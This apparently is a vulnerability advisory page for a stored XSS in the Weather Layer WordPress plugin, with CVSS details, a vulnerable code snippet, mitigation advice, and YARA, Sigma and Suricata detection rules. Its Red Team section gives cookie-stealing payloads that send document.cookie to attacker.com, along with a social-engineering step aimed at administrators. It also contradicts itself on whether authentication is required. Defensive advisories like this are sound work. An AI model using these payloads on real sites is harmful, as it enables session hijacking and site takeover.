☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Morganf logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-30532

CVE-2025-30532 Cross-Site Scripting in Morganf
📅 PUBLISHED: 2025-03-24 14:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.02%
👁️
1.02% probability
25.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-30532 is a Stored Cross-Site Scripting (XSS) vulnerability in the Weather Layer WordPress plugin by MorganF, affecting versions up to and including 4.2.1. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin’s settings or widget output, which is then stored and executed in the browsers of other users (including administrators) when they view the affected page. The vulnerability arises from improper neutralization of user-supplied input during web page generation.

Given the WordPress ecosystem context, this vulnerability can be exploited to steal session cookies, perform administrative actions on behalf of a victim, or deface the site. The CVSS score of 5.9 (Medium) reflects the need for user interaction and the limited scope of impact, but in a WordPress environment, a stored XSS can quickly escalate to full site compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No package manager (NPM, PyPI, Go, Ruby) is involved. The risk is primarily to WordPress site owners who have installed the Weather Layer plugin. Since no patch is available, site administrators must consider removing or disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 5.9 (Medium)
  • Attack Vector (AV): Network – the vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): None – an unauthenticated attacker can trigger the XSS if the stored payload is rendered on a public page.
  • User Interaction (UI): Required – the victim must visit the compromised page.
  • Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure (e.g., session tokens).
  • Integrity (I): Low – limited ability to modify content.
  • Availability (A): Low – limited ability to disrupt service.

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS in a widely-used WordPress plugin increases the real-world risk, especially for sites with multiple user roles.

Deep Dive & Mechanics

The Weather Layer plugin provides a widget that displays weather information. The vulnerability exists in the plugin’s input handling for parameters such as city name, API key, or display options. When a user with contributor-level access or higher saves these settings, the input is not properly sanitized or escaped before being stored in the WordPress database and later rendered in the frontend.

Attack Flow:

  1. An attacker with contributor-level access navigates to the Weather Layer settings page.
  2. The attacker injects a malicious JavaScript payload into a text field (e.g., city name): <script>alert('XSS')</script>.
  3. The plugin stores this payload without sanitization.
  4. When an administrator or other user views the page containing the Weather Layer widget, the script executes in their browser.
  5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to a phishing site.

Root Cause: The plugin uses echo or print functions to output user-supplied data without applying WordPress’s escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is shown below. A patched version would use proper escaping.

Vulnerable Code (weather-layer.php):

$city = get_option('weather_layer_city');
echo "<div class='weather-city'>$city</div>";

Patched Code (hypothetical):

$city = get_option('weather_layer_city');
echo "<div class='weather-city'>" . esc_html($city) . "</div>";

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Weather Layer plugin <= 4.2.1 installed and activated.
  • An account with at least Contributor role.

Steps:

  1. Log in as a contributor.
  2. Navigate to Settings > Weather Layer.
  3. In the “City Name” field, enter the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Save the settings.
  5. Craft a social engineering email to an administrator, enticing them to visit the page where the widget is displayed.
  6. When the admin visits the page, the script executes, sending their session cookie to the attacker’s server.

Alternative Payload (for session hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress admin logs for unusual changes to plugin settings.
  • Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to /wp-admin/options-general.php.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

  • Disable or remove the Weather Layer plugin until a patch is available.
  • Restrict plugin settings access to administrators only.
  • Apply WordPress’s built-in escaping functions in any custom code.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/weather-layer/weather-layer.php (modified with malicious payload)
  • Database: wp_options table with weather_layer_city option containing <script> tags.
  • Network: Outbound HTTP requests to unknown domains containing cookie= parameter.
  • Logs: WordPress debug log entries showing wp_redirect or wp_die calls from the plugin.

Detection Engineering

YARA Rule

rule CVE_2025_30532_WeatherLayer_XSS {
    meta:
        description = "Detects stored XSS payload in Weather Layer plugin settings"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30532"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "weather-layer"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Weather Layer Plugin Settings
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to store XSS payload in Weather Layer plugin settings
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        RequestMethod: POST
        RequestURI: '/wp-admin/options-general.php'
        RequestBody|contains: 'weather_layer_city'
        RequestBody|re: '<script[^>]*>.*</script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in city names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30532 Stored XSS in Weather Layer Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"weather_layer_city"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin: Deactivate and delete the Weather Layer plugin from the WordPress admin dashboard.
  2. Audit user accounts: Review all users with Contributor role or higher and remove any suspicious accounts.
  3. Scan for injected payloads: Use a security plugin (e.g., Wordfence) to scan the database for malicious scripts.

Long-term Mitigation:

  • Monitor the plugin’s official page for a security update. If none is released, consider switching to an alternative weather plugin.
  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Enforce the principle of least privilege: only grant Administrator access to trusted users.
  • Regularly update all WordPress components.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert
👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Weather Layer"
http.html:"weather-layer"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-30532/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.